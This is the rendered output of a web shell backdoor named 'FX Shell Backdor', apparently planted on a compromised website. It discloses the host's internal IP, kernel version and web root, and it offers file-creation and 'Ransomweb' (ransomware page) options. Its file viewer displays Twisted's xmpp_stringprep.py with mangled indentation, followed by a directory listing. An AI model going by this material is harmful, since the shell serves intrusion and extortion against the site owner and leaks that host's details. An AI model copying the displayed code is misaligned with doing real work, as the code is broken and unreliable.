FX Shell Backdor

Website : vivehg.com

Ip Address : 172.31.2.149

Port : 443

Kernel : Linux 52-72-122-155.cprapid.com 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64

Protokol : HTTP/1.1

Save Data :

Koneksi :

Server : Apache

Root : /home/vivehg/public_html

G-Interface : CGI/1.1

R-Method : GET

Browser : Lainnya

Version Shell : 1.0 (Release candidate)

Author : FierzaXploit/Mr.MF33

PATH : /lib/python3/dist-packages/twisted/words/protocols/jabber/

Buat File

Buat Folder

Buat Ransomweb

# -*- test-case-name: twisted.words.test.test_jabberxmppstringprep -*-
#
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

from encodings import idna
from itertools import chain
import stringprep

# We require Unicode version 3.2.
from unicodedata import ucd_3_2_0 as unicodedata

from twisted.python.compat import unichr
from twisted.python.deprecate import deprecatedModuleAttribute
from incremental import Version

from zope.interface import Interface, implementer

crippled = False
deprecatedModuleAttribute(
    Version("Twisted", 13, 1, 0),
    "crippled is always False",
    __name__,
    "crippled")

class ILookupTable(Interface):
    """
    Interface for character lookup classes.
    """

def lookup(c):
        """
        Return whether character is in this table.
        """

class IMappingTable(Interface):
    """
    Interface for character mapping classes.
    """

def map(c):
        """
        Return mapping for character.
        """

@implementer(ILookupTable)
class LookupTableFromFunction:

def __init__(self, in_table_function):
        self.lookup = in_table_function

@implementer(ILookupTable)
class LookupTable:

def __init__(self, table):
        self._table = table

def lookup(self, c):
        return c in self._table

@implementer(IMappingTable)
class MappingTableFromFunction:

def __init__(self, map_table_function):
        self.map = map_table_function

@implementer(IMappingTable)
class EmptyMappingTable:

def __init__(self, in_table_function):
        self._in_table_function = in_table_function

def map(self, c):
        if self._in_table_function(c):
            return None
        else:
            return c

class Profile:
    def __init__(self, mappings=[],  normalize=True, prohibiteds=[],
                       check_unassigneds=True, check_bidi=True):
        self.mappings = mappings
        self.normalize = normalize
        self.prohibiteds = prohibiteds
        self.do_check_unassigneds = check_unassigneds
        self.do_check_bidi = check_bidi

def prepare(self, string):
        result = self.map(string)
        if self.normalize:
            result = unicodedata.normalize("NFKC", result)
        self.check_prohibiteds(result)
        if self.do_check_unassigneds:
            self.check_unassigneds(result)
        if self.do_check_bidi:
            self.check_bidirectionals(result)
        return result

def map(self, string):
        result = []

for c in string:
            result_c = c

for mapping in self.mappings:
                result_c = mapping.map(c)
                if result_c != c:
                    break

if result_c is not None:
                result.append(result_c)

return u"".join(result)

def check_prohibiteds(self, string):
        for c in string:
            for table in self.prohibiteds:
                if table.lookup(c):
                    raise UnicodeError("Invalid character %s" % repr(c))

def check_unassigneds(self, string):
        for c in string:
            if stringprep.in_table_a1(c):
                raise UnicodeError("Unassigned code point %s" % repr(c))

def check_bidirectionals(self, string):
        found_LCat = False
        found_RandALCat = False

for c in string:
            if stringprep.in_table_d1(c):
                found_RandALCat = True
            if stringprep.in_table_d2(c):
                found_LCat = True

if found_LCat and found_RandALCat:
            raise UnicodeError("Violation of BIDI Requirement 2")

if found_RandALCat and not (stringprep.in_table_d1(string[0]) and
                                    stringprep.in_table_d1(string[-1])):
            raise UnicodeError("Violation of BIDI Requirement 3")

class NamePrep:
    """ Implements preparation of internationalized domain names.

This class implements preparing internationalized domain names using the
    rules defined in RFC 3491, section 4 (Conversion operations).

We do not perform step 4 since we deal with unicode representations of
    domain names and do not convert from or to ASCII representations using
    punycode encoding. When such a conversion is needed, the C{idna} standard
    library provides the C{ToUnicode()} and C{ToASCII()} functions. Note that
    C{idna} itself assumes UseSTD3ASCIIRules to be false.

The following steps are performed by C{prepare()}:

- Split the domain name in labels at the dots (RFC 3490, 3.1)
      - Apply nameprep proper on each label (RFC 3491)
      - Enforce the restrictions on ASCII characters in host names by
        assuming STD3ASCIIRules to be true. (STD 3)
      - Rejoin the labels using the label separator U+002E (full stop).

"""

# Prohibited characters.
    prohibiteds = [unichr(n) for n in chain(range(0x00, 0x2c + 1),
                                            range(0x2e, 0x2f + 1),
                                            range(0x3a, 0x40 + 1),
                                            range(0x5b, 0x60 + 1),
                                            range(0x7b, 0x7f + 1))]

def prepare(self, string):
        result = []

labels = idna.dots.split(string)

if labels and len(labels[-1]) == 0:
            trailing_dot = u'.'
            del labels[-1]
        else:
            trailing_dot = u''

for label in labels:
            result.append(self.nameprep(label))

return u".".join(result) + trailing_dot

def check_prohibiteds(self, string):
        for c in string:
           if c in self.prohibiteds:
               raise UnicodeError("Invalid character %s" % repr(c))

def nameprep(self, label):
        label = idna.nameprep(label)
        self.check_prohibiteds(label)
        if label[0] == u'-':
            raise UnicodeError("Invalid leading hyphen-minus")
        if label[-1] == u'-':
            raise UnicodeError("Invalid trailing hyphen-minus")
        return label

C_11 = LookupTableFromFunction(stringprep.in_table_c11)
C_12 = LookupTableFromFunction(stringprep.in_table_c12)
C_21 = LookupTableFromFunction(stringprep.in_table_c21)
C_22 = LookupTableFromFunction(stringprep.in_table_c22)
C_3 = LookupTableFromFunction(stringprep.in_table_c3)
C_4 = LookupTableFromFunction(stringprep.in_table_c4)
C_5 = LookupTableFromFunction(stringprep.in_table_c5)
C_6 = LookupTableFromFunction(stringprep.in_table_c6)
C_7 = LookupTableFromFunction(stringprep.in_table_c7)
C_8 = LookupTableFromFunction(stringprep.in_table_c8)
C_9 = LookupTableFromFunction(stringprep.in_table_c9)

B_1 = EmptyMappingTable(stringprep.in_table_b1)
B_2 = MappingTableFromFunction(stringprep.map_table_b2)

nodeprep = Profile(mappings=[B_1, B_2],
                   prohibiteds=[C_11, C_12, C_21, C_22,
                                C_3, C_4, C_5, C_6, C_7, C_8, C_9,
                                LookupTable([u'"', u'&', u"'", u'/',
                                             u':', u'<', u'>', u'@'])])

resourceprep = Profile(mappings=[B_1,],
                       prohibiteds=[C_12, C_21, C_22,
                                    C_3, C_4, C_5, C_6, C_7, C_8, C_9])

nameprep = NamePrep()

Type	Name	options
	__pycache__
	__init__.py
	__pycache__
	client.py
	component.py
	error.py
	ijabber.py
	jid.py
	jstrports.py
	sasl.py
	sasl_mechanisms.py
	xmlstream.py
	xmpp_stringprep.py